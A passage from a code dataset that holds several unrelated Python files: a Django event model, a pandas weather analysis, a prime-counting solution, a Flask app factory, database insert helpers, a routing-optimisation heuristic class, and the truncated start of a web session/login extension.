ImageSpecField(source='image',\n processors=[ResizeToFill(800, 300)],\n format='JPEG',\n options={'quality': 100},\n )\n\n event_planner = models.ForeignKey(EnjoyTodayUser,\n on_delete=models.CASCADE,\n default=None,\n null=True,\n verbose_name='annonceur',\n )\n\n address = models.CharField(verbose_name=\"Adresse\",\n max_length=150,\n default=\"non précisé\")\n\n #public_transport = models.CharField(verbose_name=\"Arrêt transport en commun (métro,...)\",\n # max_length=150,\n # default=\"non précisé\",\n # null=True,\n # blank=True\n # )\n\n site = models.ForeignKey(Site,\n default=None,\n null=True,\n on_delete=models.SET_DEFAULT,\n # if affected, breaks\n # default=None,\n )\n\n objects = models.Manager()\n on_site = CurrentSiteManager()\n\n # ===========================================================================\n class Meta:\n verbose_name = 'event'\n verbose_name_plural = 'events'\n ordering = ('title', )\n\n # ---------------------------------------------------------------------------\n def __str__(self):\n return self.title\n\n # --------------------------------------------------------------------------\n #def get_absolute_url(self):\n #return reverse('', kwargs={'event_id': self.pk})\n\n def delete_url(self):\n return reverse('catho:crud:delete_event', kwargs={'event_id': self.pk})\n\n def update_url(self):\n return reverse('catho:crud:update_event', kwargs={'event_id': self.pk})\n\n\n # --------------------------------------------------------------------------\n def add_occurrences(self, start_time, end_time, is_multiple, **rrule_params):\n \"\"\"\n Add one or more occurences to the event using a comparable API to\n ``dateutil.rrule``.\n\n Because ``rrule.rrule`` returns an iterator that can essentially be\n unbounded, we need to slightly alter the expected behavior here in order\n to enforce a finite number of occurrence creation.\n\n If ``until`` entry is missing from ``rrule_params``,\n only a single ``Occurrence`` instance will be created using the exact\n ``start_time`` and ``end_time`` values.\n \"\"\"\n\n until = rrule_params.get('until')\n if not until:\n self.occurrence_set.create(start_time=start_time, end_time=end_time)\n else:\n delta_hour = end_time - start_time\n occurrences = []\n for ev in rrule.rrule(dtstart=start_time, **rrule_params):\n occurrences.append(Occurrence(start_time=ev,\n end_time=ev + delta_hour,\n event=self,\n is_multiple=is_multiple))\n self.occurrence_set.bulk_create(occurrences)\n\n # --------------------------------------------------------------------------\n def upcoming_occurrences(self):\n \"\"\"\n Return all occurrences that are set to start on or after the current\n time.\n \"\"\"\n return self.occurrence_set.filter(start_time__gte=datetime.now())\n\n # --------------------------------------------------------------------------\n def next_occurrence(self):\n \"\"\"\n Return the single occurrence set to start on or after the current time\n if available, otherwise ``None``.\n \"\"\"\n upcoming = self.upcoming_occurrences()\n return upcoming[0] if upcoming else None\n\n\n\n# ==============================================================================\nclass OccurrenceManager(models.Manager):\n\n use_for_related_fields = True\n\n # --------------------------------------------------------------------------\n def daily_occurrences(self, dt=None, event=None):\n \"\"\"\n Returns a queryset of for instances that have any overlap with a\n particular day.\n\n * ``dt`` may be either a datetime.datetime, datetime.date object, or\n ``None``. If ``None``, default to the current day.\n\n * ``event`` can be an ``Event`` instance for further filtering.\n \"\"\"\n\n dt = dt or datetime.now()\n start = datetime(dt.year, dt.month, dt.day)\n end = start.replace(hour=23, minute=59, second=59)\n qs = self.filter(\n models.Q(\n start_time__gte=start,\n start_time__lte=end,\n ) |\n models.Q(\n end_time__gte=start,\n end_time__lte=end,\n ) |\n models.Q(\n start_time__lt=start,\n end_time__gt=end\n )\n )\n\n return qs.filter(event=event) if event else qs\n\n\n# ==============================================================================\n@python_2_unicode_compatible\nclass Occurrence(models.Model):\n \"\"\"\n Represents the start end time for a specific occurrence of a master ``Event``\n object.\n \"\"\"\n start_time = models.DateTimeField()\n end_time = models.DateTimeField()\n event = models.ForeignKey(Event,\n editable=False,\n on_delete=models.CASCADE)\n objects = OccurrenceManager()\n is_multiple = models.BooleanField(default=False)\n\n # ==========================================================================\n class Meta:\n verbose_name = 'occurrence'\n verbose_name_plural = 'occurrences'\n ordering = ('start_time', 'end_time')\n\n # --------------------------------------------------------------------------\n def __str__(self):\n return u'{}: {}'.format(self.event.title, self.start_time.isoformat())\n\n # --------------------------------------------------------------------------\n def get_absolute_url(self):\n return reverse('topic:get_occurrence', kwargs={'pk': self.pk}, current_app=self.event.event_type.topic.name)\n\n def delete_url(self):\n return reverse('topic:crud:delete_occurrence', kwargs={'occurrence_id': self.pk}, current_app=self.event.event_type.topic.name)\n\n def update_url(self):\n return reverse('topic:crud:update_occurrence', kwargs={'occurrence_id': self.pk}, current_app=self.event.event_type.topic.name)\n\n # --------------------------------------------------------------------------\n def __lt__(self, other):\n return self.start_time < other.start_time\n","sub_path":"topic/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":10906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"220636450","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 31 13:38:44 2019\n\n@author: tyler\n\"\"\"\n\n\nimport pandas as pd\nimport numpy as np\n\n\ndata = pd.read_csv('/home/tyler/Desktop/Dolezal_Python_Practice/rome_data.csv', index_col = 'DATE', dtype={'TempF':str, 'WEATHER':str}, parse_dates=True)\n\n''' Like the AZ data our temp readings have 's' attached to them as well as a few columns marked '*', we can\neliminate these items and then plot the data '''\n\ntemp_data = data['TempF']\nrmv = temp_data == '*'\ntemp_data.loc[rmv] = np.nan\ntemp_data = temp_data.dropna() \ntemp_data = temp_data.map(lambda x: x.rstrip('s'))\n\ntemp_data = temp_data.astype(float)\n\n\ntemp = temp_data.resample('M').apply(np.median)\n\n#temp_data.plot(title = 'Rome NY Temp (F) Data over 10 Years', figsize = (15,7.5))\n\n\n''' Now lets look at snowfall over the past 10 years '''\n\nsnow = data['WEATHER'].str.contains('SN')\nsnow = snow.dropna()\nmost_snow = snow.astype(float).resample('M').apply(np.mean)\n\nmost_snow.plot(title = 'Snowiest times of the year')","sub_path":"rome_climate.py","file_name":"rome_climate.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"516342049","text":"class Solution:\n def countPrimes(self, n: int) -> int:\n counter = 0\n isPrime = [True] * (n+1)\n for i in range(2, n):\n if isPrime[i]:\n counter += 1\n for j in range(1, (n // i)+1):\n isPrime[i * j] = False\n \n return counter","sub_path":"204. Count Primes/solution1.py","file_name":"solution1.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"630119248","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport sys\n\nfrom flask import Flask\n\n\nCONFIG_NAME_MAPPER = {\n 'development': 'config.DevelopmentConfig',\n 'testing': 'config.TestingConfig',\n 'production': 'config.ProductionConfig',\n 'local': 'local_config.LocalConfig',\n}\n\n\ndef create_app(flask_env=None, *args, **kwargs) -> Flask:\n \"\"\"\n Create a Flask application using the app factory pattern\n \"\"\"\n\n # create the base app\n app = Flask(__name__, instance_relative_config=True)\n\n # load correct flask env definition\n if not flask_env:\n env_flask_env = os.getenv('FLASK_ENV')\n\n if env_flask_env:\n flask_env = env_flask_env\n else:\n msg = 'could not identify which environment the application should use'\n app.logger.error(msg)\n sys.exit(1)\n\n # load app configurations\n app.config.from_object(CONFIG_NAME_MAPPER[flask_env])\n\n # initialize modules\n from app import modules\n\n modules.init_app(app)\n\n return app\n","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"99488070","text":"from main.server import db\nfrom main.server.models import Announcement, MultiGallery, Gallery, Games, Message, Video, SetMetadata\nfrom main.utils.dto import AnnouncementDTO, MultiGalleryDTO, GalleryDTO, GameDTO, MessageDTO, VideoDTO\nfrom main.server.status import Status\nfrom main.utils.blur import getBlurCodeFromImage\n\ndef insertAnnouncement(data):\n if not isinstance(data, AnnouncementDTO):\n raise TypeError('data must be of type AnnouncementDTO')\n if not data.message: \n return Status.FAIL\n res = Announcement.query.filter_by(message=data.message).first() \n if res:\n return Status.WARN\n res = Announcement(message=data.message)\n db.session.add(res) \n return Status.OK\n\ndef insertMultiGallery(data): \n if not isinstance(data, MultiGalleryDTO):\n raise TypeError('data must be of type MultiGalleryDTO')\n if not data.artworkLink:\n return Status.FAIL\n if not SetMetadata.query.filter_by(setID=data.setID).first():\n metadata_entry = SetMetadata(\n setID=data.setID,\n artistLink=data.artistLink,\n username=data.username,\n message=data.message,\n )\n db.session.add(metadata_entry)\n \n if not MultiGallery.query.filter_by(artworkLink=data.artworkLink).first():\n multigallery_entry = MultiGallery(\n setID=data.setID,\n artworkLink=data.artworkLink,\n blurhash=getBlurCodeFromImage(data.artworkLink),\n )\n db.session.add(multigallery_entry)\n else:\n # return from this insert with dupe warn\n return Status.WARN\n\n return Status.OK\n\ndef insertGallery(data): \n if not isinstance(data, GalleryDTO):\n raise TypeError('data must be of type GalleryDTO')\n if not data.artworkLink:\n return Status.FAIL\n res = Gallery.query.filter_by(artworkLink=data.artworkLink).first() \n if res:\n return Status.WARN\n res = Gallery(artworkLink=data.artworkLink,\n blurhash=getBlurCodeFromImage(data.artworkLink),\n artistLink=data.artistLink,\n username=data.username,\n title=data.title)\n db.session.add(res)\n return Status.OK\n\ndef insertGame(data):\n if not isinstance(data, GameDTO):\n raise TypeError('data must be of type GameDTO')\n if not data.gameLink:\n return Status.FAIL\n res = Games.query.filter_by(gameLink=data.gameLink).first()\n if res:\n return Status.WARN\n res = Games(gameLink=data.gameLink,\n gitLink=data.gitLink,\n description=data.description,\n title=data.title,\n thumbnail=data.thumbnail,\n blurhash=getBlurCodeFromImage(data.thumbnail))\n db.session.add(res)\n\ndef insertMessage(data):\n if not isinstance(data, MessageDTO):\n raise TypeError('data must be of type MessageDTO')\n if not data.orig_msg:\n return Status.FAIL\n res = Message.query.filter_by(orig_msg=data.orig_msg).first()\n if res:\n return Status.WARN\n res = Message(orig_msg=data.orig_msg,\n tl_msg=data.tl_msg,\n country=data.country,\n username=data.username)\n db.session.add(res)\n return Status.OK\n\ndef insertVideo(data):\n if not isinstance(data, VideoDTO):\n raise TypeError('data must be of type VideoDTO')\n if not data.videoLink:\n return Status.FAIL\n res = Video.query.filter_by(\n videoLink=data.videoLink).first()\n if res:\n return Status.WARN\n res = Video(videoLink=data.videoLink,\n artistLink=data.artistLink,\n username=data.username,\n title=data.title)\n db.session.add(res)\n","sub_path":"backend/main/utils/insert.py","file_name":"insert.py","file_ext":"py","file_size_in_byte":4063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"416549418","text":"import sys \r\nimport pandas as pd\r\nimport numpy as np\r\nimport math\r\nimport matplotlib.pyplot as plt\r\nimport pickle\r\n\r\n\r\nclass Solution:\r\n \r\n \r\n def __init__(self,df_TSP,filename):\r\n self.filename = filename\r\n self.df_TSP = df_TSP\r\n self.n = len(self.df_TSP) # nr of cities\r\n root = math.sqrt(self.n)\r\n if (int(root + 0.5)**2 != self.n):\r\n print(\"n=\" + str(self.n) + \" is not a perfect square!\")\r\n sys.exit() \r\n # distance from each city to the depot\r\n self.dist_depot = [((self.df_TSP.iloc[i,1]- 0)**2 + (self.df_TSP.iloc[i,2]-0)**2)**0.5 for i in range(self.n)]\r\n # symmetric nxn matrix with distances between each city\r\n self.dist = [[((self.df_TSP.iloc[i,1]-self.df_TSP.iloc[j,1])**2+(self.df_TSP.iloc[i,2]-self.df_TSP.iloc[j,2])**2)**0.5 for j in range(self.n)] for i in range(self.n)]\r\n self.dim = int(self.n**0.5) # nr of rows and columns\r\n self.sol = [[ (-1) for i in range(self.dim)] for j in range(self.dim)] # solution\r\n \r\n # This function intialises the solution using the algorithm GREEDY\r\n # the first column of my solution is first filled with random cities (without replacement)\r\n # then each row is filled with the city that is closest in location to the previous city \r\n # with respect to each row (without replacement)\r\n def InitialSolution(self):\r\n print(\"n\",self.n)\r\n if (self.n == 1):\r\n self.sol = [0]\r\n print(\"sol\",self.sol)\r\n print(self.dist)\r\n print(self.dist_depot)\r\n return \r\n cities = list(range(self.n)) # this is a list I store my cities in in order to be able to fill in \r\n # unique cities in my solution\r\n li = np.random.choice(self.n,self.dim, replace = False) # dim random cities to fill first column of my solution\r\n # here li stands for list but do not want to confuse this \r\n # variable with function list so called it li\r\n for i in range(self.dim):\r\n cities[li[i]] = -1 # when cities are allocated to my solution\r\n # set these cities equal to -1 in cities array to be able to draw without permuation\r\n for i in range(self.dim):\r\n self.sol[i][0] = li[i] # filling in first column of my solution with cities\r\n city0 = 0 # this will be my first city of reference from cities \r\n for c in cities:\r\n if c >= 0:\r\n city0 = c\r\n break \r\n d0 = self.dist[self.sol[0][0]][city0] # this will be the corresponding distance with respect to city0\r\n count = self.n - self.dim # count nr of cities left that have not been allocated to solution\r\n while (count != 0): # as long as there are still cities to allocate\r\n for i in range(self.dim): # for each column\r\n for j in range(self.dim-1): # for each row\r\n if (count == 2): # this is to check when there are only 2 cities left to allocate\r\n count = 0\r\n if (self.dim > 2): # if dimension of solution is greater than 2\r\n city3 = 0 # this variable stores last city \r\n dist3 = 0 # this variable stores last distance\r\n for c in cities: \r\n if ((c >= 0) and (c != city0)):\r\n city3 = c \r\n dist3 = self.dist[self.sol[self.dim-1][-3]][city3]\r\n break \r\n # compare the distances of the last 2 cities and allocate these to solution \r\n if dist3 < d0:\r\n self.sol[self.dim-1][-2] = city3 \r\n self.sol[self.dim-1][-1] = city0 \r\n else:\r\n self.sol[self.dim-1][-2] = city0 \r\n self.sol[self.dim-1][-1] = city3 \r\n elif (self.dim == 2): # if dimension of solution is 2x2 matrix \r\n city3 = 0\r\n for c in cities: \r\n if (c>= 0 and c!= city0):\r\n city3 = c \r\n break \r\n dist3 = self.dist[self.sol[0][0]][city3]\r\n d0 = self.dist[self.sol[0][0]][city0]\r\n # compare distances of last 2 cities and allocate these to solution\r\n if (dist3 < d0):\r\n self.sol[0][1] = city3 \r\n self.sol[1][1] = city0 \r\n else: \r\n self.sol[0][1] = city0 \r\n self.sol[1][1] = city3 \r\n # else: # if dimension of solution is 1\r\n # p = 0 \r\n if count > 2: # if there are more than 2 cities to allocate\r\n # find smallest distance and allocate city to solution\r\n for c in cities:\r\n if (c >= 0): \r\n dist1 = self.dist[self.sol[i][j]][c] \r\n if dist1 < d0:\r\n city0 = c \r\n d0 = dist1\r\n cities[city0] = -1 \r\n self.sol[i][j+1] = city0 \r\n count = count - 1\r\n for c in cities: \r\n if c >= 0:\r\n city0 = c\r\n d0 = self.dist[self.sol[i][j+1]][c] \r\n break \r\n if (j+1 == self.dim-1): \r\n for c in cities: \r\n if c >= 0:\r\n city0 = c\r\n d0 = self.dist[self.sol[i+1][0]][c] \r\n break \r\n else: \r\n for c in cities: \r\n if c >= 0:\r\n city0 = c \r\n d0 = self.dist[self.sol[i][j+1]][c] \r\n print(\"\\nSolution initialised according to greedy algorithm\")\r\n test = self.Test()\r\n if (test == True):\r\n print(\"Initial solution is unique!\") \r\n \r\n \r\n # swap operation over rows and columns\r\n def Swap(self,x1, y1, x2, y2): \r\n temp = self.sol[x1][y1]\r\n self.sol[x1][y1] = self.sol[x2][y2]\r\n self.sol[x2][y2] = temp\r\n \r\n # insert operation over rows only\r\n def Insert(self,x,y1,y2): \r\n # y2 will be inserted \r\n # if cities are adjacent or equal \r\n if (y2 == y1 or abs(y2 -y1) == 1):\r\n self.Swap(x,y1,x,y2)\r\n # if y1 is to the left of y2 \r\n elif y1 > y2: # elements of solution will have to be shifted left when y2 is inserted at y1\r\n temp = self.sol[x][y2]\r\n for i in range(abs(y2-y1)): \r\n self.sol[x][y2+i] = self.sol[x][y2+1+i]\r\n self.sol[x][y1] = temp\r\n else: # y1 is to the right of y2 so elements in solution will have to be shifted to the right\r\n # when y2 is inserted at y1\r\n temp = self.sol[x][y2] \r\n for i in range(abs(y2-y1)): \r\n self.sol[x][y2-i] = self.sol[x][y2-1-i]\r\n self.sol[x][y1] = temp\r\n\r\n # reverse operation\r\n def Reverse(self,y1,y2,x):\r\n if( abs(y2 - y1) == 1 or abs(y2-y1) == 2 or abs(y2 - y1) == 0): # 1 or no elements in between y1 and y2\r\n # normal swap \r\n self.Swap(x,y1,x,y2)\r\n else: \r\n if (abs(y2 -y1)%2 != 0): # nr of elements between y1 and y2 is even\r\n for i in range(abs(y2-y1)-2):\r\n if y1 < y2:\r\n self.Swap(x,y1+i,x,y2-i)\r\n else: \r\n self.Swap(x,y1-i,x,y2+i)\r\n else: # nr of elements between y1 and y2 is uneven \r\n for i in range(abs(y2-y1)-3):\r\n if y1 < y2:\r\n self.Swap(x,y1+i,x,y2-i)\r\n else: \r\n self.Swap(x,y1-i,x,y2+i) \r\n\r\n # calculate cost\r\n def Cost(self):\r\n cost = 0 # total cost \r\n if (self.n == 1):\r\n cost = self.dist_depot[0] + self.dist_depot[0]\r\n else: \r\n TotalCost = [0 for x in range(len(self.sol[0]))] # to stor sums of distances of each column\r\n count = 0 # to retrieve index to store sums of costs for each row of solution\r\n for j in range(len(self.sol[0])): # for each row of solution\r\n cost = cost +self.dist_depot[self.sol[j][0]] # add distance from depot to first city\r\n for i in range(len(self.sol[0])-1): \r\n cost = cost + self.dist[self.sol[j][i]][self.sol[j][i+1]] # then add distances between cities\r\n cost = cost + self.dist_depot[self.sol[j][-1]] # distance from last city to depot\r\n TotalCost[count] = cost\r\n count = count + 1\r\n cost = 0\r\n cost = sum(TotalCost) + max(TotalCost) - min(TotalCost) \r\n return cost\r\n\r\n # Calculate feasibility\r\n def Feasibility(self):\r\n f = 0 # feasibility\r\n if (self.n == 1):\r\n f = 1 \r\n else: \r\n for i in range(len(self.sol)): # i = 0,1\r\n if (self.sol[i][0]%2 == 0):\r\n f = f + 1\r\n if (self.sol[i][-1]%2 != 0):\r\n f = f + 1 \r\n return f\r\n\r\n # Method 1: Hill Climbing method\r\n def HC(self):\r\n x = int(100000/100)\r\n X = list(range(1,(x+1))) \r\n Y = [0 for i in range(x)] \r\n count = 0\r\n cost = self.Cost()\r\n if (self.n == 1):\r\n test = True\r\n Y = [cost for i in range(x)]\r\n else: \r\n x = int(100000/100)\r\n X = list(range(1,(x+1))) \r\n Y = [0 for i in range(x)] \r\n count = 0\r\n cost = self.Cost()\r\n for i in range(100000):\r\n x1 = np.random.randint(0,self.dim)\r\n y1 = np.random.randint(0,self.dim)\r\n x2 = np.random.randint(0,self.dim)\r\n y2 = np.random.randint(0,self.dim)\r\n self.Swap(x1, y1, x2, y2)\r\n new_cost = self.Cost()\r\n if new_cost <= cost:\r\n cost = new_cost\r\n else:\r\n self.Swap(x2, y2, x1, y1)\r\n if ((i+1)%100 == 0):\r\n Y[count] =cost\r\n count = count + 1\r\n test = self.Test() \r\n print(\"\\n HILL CLIMBING METHOD: \")\r\n print(\"Is solution correct: \",test)\r\n print(\"Cost: \",cost)\r\n f = self.Feasibility()\r\n print(\"Feasibility: \",f)\r\n answer1 = self.Write()\r\n if (answer1 == 1): \r\n self.WriteToFile(cost,f)\r\n elif (answer1 == 2): \r\n self.WB_to_file(cost,f)\r\n elif (answer1 == 3): \r\n self.WriteToFile(cost,f) \r\n self.WB_to_file(cost,f) \r\n answer2 = self.GraphSol()\r\n if (answer2 == 1):\r\n self.Graph_Fig1(\" hill climbing method\") \r\n if (answer2 == 2):\r\n self.Graph_Fig2(X,Y,\" hill climbing method\") \r\n if (answer2 == 3): \r\n self.Graph_Fig1(\" hill climbing method\")\r\n self.Graph_Fig2(X,Y,\" hill climbing method\") \r\n return cost, self.sol,test\r\n\r\n # User input/output for graphing solution\r\n def GraphSol(self):\r\n print(\"\\nWould you like see graphs of solution ? \")\r\n print(\"Input <0>: NO\")\r\n print(\"Input <1>: Fig (1): Visual representation of solution\")\r\n print(\"Input <2>: Fig (2): Iterations vs Cost line graph\")\r\n print(\"Input <3>: Fig (1) and Fig (2) \")\r\n try: \r\n answer = input(\"INPUT: \") \r\n answer = int(answer)\r\n except ValueError:\r\n print(\"Wrong input given!\")\r\n exit() \r\n return answer\r\n\r\n # User input/output for writing solution to csv/bs files\r\n def Write(self):\r\n print(\"\\nWould you like to save solution? \")\r\n print(\"Input <0>: No saving of file\")\r\n print(\"Input <1>: Save file as csv file\")\r\n print(\"Input <2>: Save file as binary file\")\r\n print(\"Input <3>: Save both binary and csv file\")\r\n try: \r\n answer = input(\"INPUT: \") \r\n answer = int(answer)\r\n except ValueError:\r\n print(\"Wrong input given!\")\r\n sys.exit() \r\n return answer\r\n \r\n\r\n # Method 2: HC by using swap, insert and revert operations at random\r\n def HC_Swap_Insert_Reverse(self): \r\n x = int(100000/100)\r\n X = list(range(1,(x+1))) \r\n Y = [0 for i in range(x)] \r\n count = 0\r\n cost = self.Cost()\r\n if (self.n == 1):\r\n test = True\r\n Y = [cost for i in range(x)]\r\n else: \r\n for i in range(100000):\r\n operation = np.random.randint(0,4)\r\n # 1: swap \r\n # 2: insert \r\n # 3: reverse\r\n x1 = np.random.randint(0,self.dim)\r\n y1 = np.random.randint(0,self.dim)\r\n x2 = np.random.randint(0,self.dim)\r\n y2 = np.random.randint(0,self.dim)\r\n x = np.random.randint(0,self.dim)\r\n if (operation == 1):\r\n self.Swap(x1, y1, x2, y2)\r\n elif (operation == 2):\r\n self.Insert(x,y1,y2)\r\n else: \r\n self.Reverse(y1,y2,x) \r\n new_cost = self.Cost()\r\n if new_cost <= cost:\r\n cost = new_cost\r\n else:\r\n if (operation == 1):\r\n self.Swap(x2, y2, x1, y1)\r\n elif (operation == 2):\r\n self.Reverse(y2,y1,x)\r\n else: \r\n self.Insert(x,y2,y1) \r\n if ((i+1)%100 == 0):\r\n Y[count] =cost\r\n count = count + 1 \r\n test = self.Test()\r\n print(\"\\n HILL CLIMBING METHOD USING SWAP INSERT REVERT \")\r\n print(\"Is solution correct: \",test)\r\n print(\"Cost: \",cost)\r\n f = self.Feasibility()\r\n print(\"Feasibility: \",f)\r\n answer1 = self.Write()\r\n if (answer1 == 1): \r\n self.WriteToFile(cost,f)\r\n elif (answer1 == 2): \r\n self.WB_to_file(cost,f)\r\n elif (answer1 == 3): \r\n self.WriteToFile(cost,f) \r\n self.WB_to_file(cost,f) \r\n answer2 = self.GraphSol()\r\n if (answer2 == 1):\r\n self.Graph_Fig1(\" hill climbing with swap insert revert\") \r\n if (answer2 == 2):\r\n self.Graph_Fig2(X,Y,\" hill climbing with swap insert revert\") \r\n if (answer2 == 3): \r\n self.Graph_Fig1(\" hill climbing with swap insert revert\")\r\n self.Graph_Fig2(X,Y,\" hill climbing with swap insert revert\") \r\n return cost,self.sol,test \r\n\r\n # Method 3: HC by implementing simulated annealing\r\n def SimulatedAnnealing(self):\r\n X = list(0 for i in range(1037)) \r\n for i in range(1037):\r\n X[i] = (i*2002 + 1)\r\n Y = [0 for i in range(1037)] # cost\r\n T0 = 10000\r\n coolingRate = 0.99999\r\n index = 0 # index to insert cost in Y \r\n value = 0 # variable to help store cost at index t\r\n NrIter = 0 # nr of iterations \r\n absoluteTemp = 0.00001\r\n cost0 = self.Cost() # initial cost\r\n if (self.n == 1):\r\n test = True\r\n Y = [cost0 for i in range(1037)]\r\n else: \r\n while (T0 > absoluteTemp):\r\n # count = count + 1\r\n x1 = np.random.randint(0,self.dim)\r\n y1 = np.random.randint(0,self.dim)\r\n x2 = np.random.randint(0,self.dim)\r\n y2 = np.random.randint(0,self.dim)\r\n self.Swap(x1, y1, x2, y2)\r\n cost1 = self.Cost() # new cost\r\n if cost1 < cost0:\r\n cost0 = cost1 #accept new solution\r\n else: \r\n q = np.random.randint(0,2)\r\n if q < math.exp(-(cost1-cost0)/T0): # accept solution if relation holds\r\n cost0 = cost1 \r\n else:\r\n self.Swap(x2,y2,x1,y1) \r\n T0 = T0*coolingRate # cool temperature\r\n if (NrIter == value):\r\n value = value + 2001 \r\n Y[index] = cost0\r\n index = index + 1\r\n NrIter = NrIter + 1 \r\n test = self.Test() \r\n X[-1] = NrIter\r\n Y[-1] = cost0\r\n print(\"\\n HILL CLIMBING METHOD USING SIMULATED ANNEALING \")\r\n print(\"Is solution correct \",test)\r\n print(\"Cost: \",cost0)\r\n f = self.Feasibility()\r\n print(\"Feasibility: \",f)\r\n answer1 = self.Write()\r\n if (answer1 == 1): \r\n self.WriteToFile(cost0,f)\r\n elif (answer1 == 2): \r\n self.WB_to_file(cost0,f)\r\n elif (answer1 == 3): \r\n self.WriteToFile(cost0,f) \r\n self.WB_to_file(cost0,f) \r\n answer2 = self.GraphSol()\r\n if (answer2 == 1):\r\n self.Graph_Fig1( \" simulated annealing\") \r\n if (answer2 == 2):\r\n self.Graph_Fig2(X,Y,\" simulated annealing\") \r\n if (answer2 == 3): \r\n self.Graph_Fig1(\" simulated annealing\")\r\n self.Graph_Fig2(X,Y,\" simulated annealing\") \r\n return cost0,self.sol,test \r\n\r\n # To test whether the solution has unique elements\r\n def Test(self):\r\n test = True \r\n cities = list(range(self.n))\r\n count = [0 for i in range(self.n)]\r\n for i in range(self.dim):\r\n for j in range(self.dim):\r\n for c in cities:\r\n if c == self.sol[i][j]:\r\n count[c] = count[c] + 1\r\n if count[c] > 1: \r\n test = False\r\n return test\r\n \r\n # Fig 2: Iterations Vs Cost line-graph \r\n def Graph_Fig2(self,X,Y,title):\r\n fig2 = plt.figure()\r\n plt.grid(b = \"True\",axis = \"both\",color=\"lightgrey\",linestyle = \"-\", linewidth = 0.5)\r\n plt.plot(X,Y,linestyle=\"-\",linewidth = 1)\r\n plt.title(\"Iterations Vs Cost line-graph for\" + title)\r\n plt.xlabel(\"Nr of iterations\")\r\n plt.ylabel(\"Cost\") \r\n print(\"\\nFig (2): Iterations Vs Cost line-graph for\" + title)\r\n filename = input(\"Save file as: \")\r\n plt.savefig(filename)\r\n\r\n # Fig 1: Visual representation of solution\r\n def Graph_Fig1(self,title): \r\n fig1 = plt.figure()\r\n colors = []\r\n for i in range(self.dim):\r\n colors.append('#%06X' % np.random.randint(0, 0xFFFFFF))\r\n x = [[0 for i in range(self.dim + 2)] for j in range(self.dim)]\r\n y = [[0 for i in range(self.dim + 2)] for j in range(self.dim)]\r\n if (self.n == 1):\r\n x[0][1] = self.df_TSP.iloc[self.sol[0],1] \r\n y[0][1] = self.df_TSP.iloc[self.sol[0],2] \r\n else: \r\n for i in range(self.dim):\r\n for j in range(self.dim): \r\n x[i][j+1] = self.df_TSP.iloc[self.sol[i][j],1]\r\n y[i][j+1] = self.df_TSP.iloc[self.sol[i][j],2] \r\n plt.grid(b = \"True\",axis = \"both\",color=\"lightgrey\",linestyle = \"-\", linewidth = 0.5)\r\n plt.axhline(y=0,color = \"grey\", linewidth = 1)\r\n plt.axvline(x = 0, color = \"grey\", linewidth = 1)\r\n trucks = [\"\" for i in range(self.dim)]\r\n for i in range(self.dim):\r\n trucks[i] = \"Truck \" + str(i+1)\r\n for i in range(self.dim): \r\n plt.plot(x[i][:],y[i][:], linestyle =\"-\", marker = \"o\", color = colors[i], linewidth = 1,label = trucks[i]) \r\n plt.legend(loc = \"upper left\")\r\n plt.title(\"Visual representation of solution for\" + title)\r\n print(\"\\nFig (1): Visual representation of solution\" + title)\r\n filename = input(\"Save file as: \")\r\n plt.savefig(filename)\r\n \r\n \r\n # write to csv file \r\n def WriteToFile(self,cost,f):\r\n filename = input(\"\\nSave file as < filename.csv >\")\r\n with open(filename,'w') as writeFile:\r\n if (self.n == 1):\r\n writeFile.write(str(0) + \"\\n\")\r\n else: \r\n for i in range(self.dim):\r\n writeFile.write(','.join(str(s) for s in self.sol[i]))\r\n writeFile.write(\"\\n\") \r\n writeFile.write(str(cost) +\"\\n\" + str(f)) \r\n\r\n # write to binary file\r\n def WB_to_file(self,cost,f):\r\n filename = input(\"\\nSave file as \")\r\n found = False\r\n try :\r\n file = open(filename,\"rb\")\r\n prev_run = pickle.load(file)\r\n found = True\r\n except FileNotFoundError :\r\n print(\"New file with name \" + filename + \" is created!\")\r\n file = open(filename,\"wb\")\r\n if (found == True):\r\n pickle.dump(prev_run,file)\r\n pickle.dump(self.sol,file)\r\n pickle.dump(f,file)\r\n pickle.dump(cost,file)\r\n file.close()\r\n \r\n\r\n\r\n ","sub_path":"Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":22138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"163360922","text":"\"\"\"\nClass that handles logins.\n\"\"\"\nimport typing\n\nimport functools\n\nimport asyncio\n\nfrom kyokai import Kyokai, Request\nfrom kyokai.response import redirect, Response\n\ntry:\n import itsdangerous\nexcept ImportError:\n raise ImportError(\"itsdangerous is not installed - cannot use session extension\")\n\n\nclass SessionUser(object):\n \"\"\"\n This is a stub class, that is used for KyoukaiSession.\n\n You can override this class and use it with KyoukaiSession.\n \"\"\"\n def __init__(self):\n \"\"\"\n The only attribute that is required here is `self.id`.\n \"\"\"\n self.id = None\n\n\nclass KyoukaiSession(object):\n \"\"\"\n A KyoukaiSession object provides a few useful methods for handling client logins.\n\n The class takes a callable, which will then be called to get a user upon a request.\n\n This user will be passed in to your route, as the second argument.\n\n To require login on a route, decorate the route with `@sess.login_required`, for example:\n\n ```python\n @app.route(\"/\")\n @session.login_required\n async def index(request: Request, user: User):\n return \"You are \" + repr(user)\n ```\n\n If the user is not logged in, then it will redirect them to `redirect_uri`. This can be passed as the second param.\n\n This ext is Flask-like in terms of handling the application object - you can either pass it as the last item of\n the args, or call `init_app` later to initialize it.\n\n To login a user, return `session.login(id, redirect_uri=\"/\")`, which will return a response that logs in the\n specified ID, and redirects them.\n \"\"\"\n def __init__(self, user_f, redirect_uri: str=\"/login\", app: Kyokai=None):\n \"\"\"\n Create a new KyoukaiSession object.\n \"\"\"\n\n self._callable_f = user_f\n self.redirect_uri = redirect_uri\n\n self.secret_key = b\"\"\n self.signer = 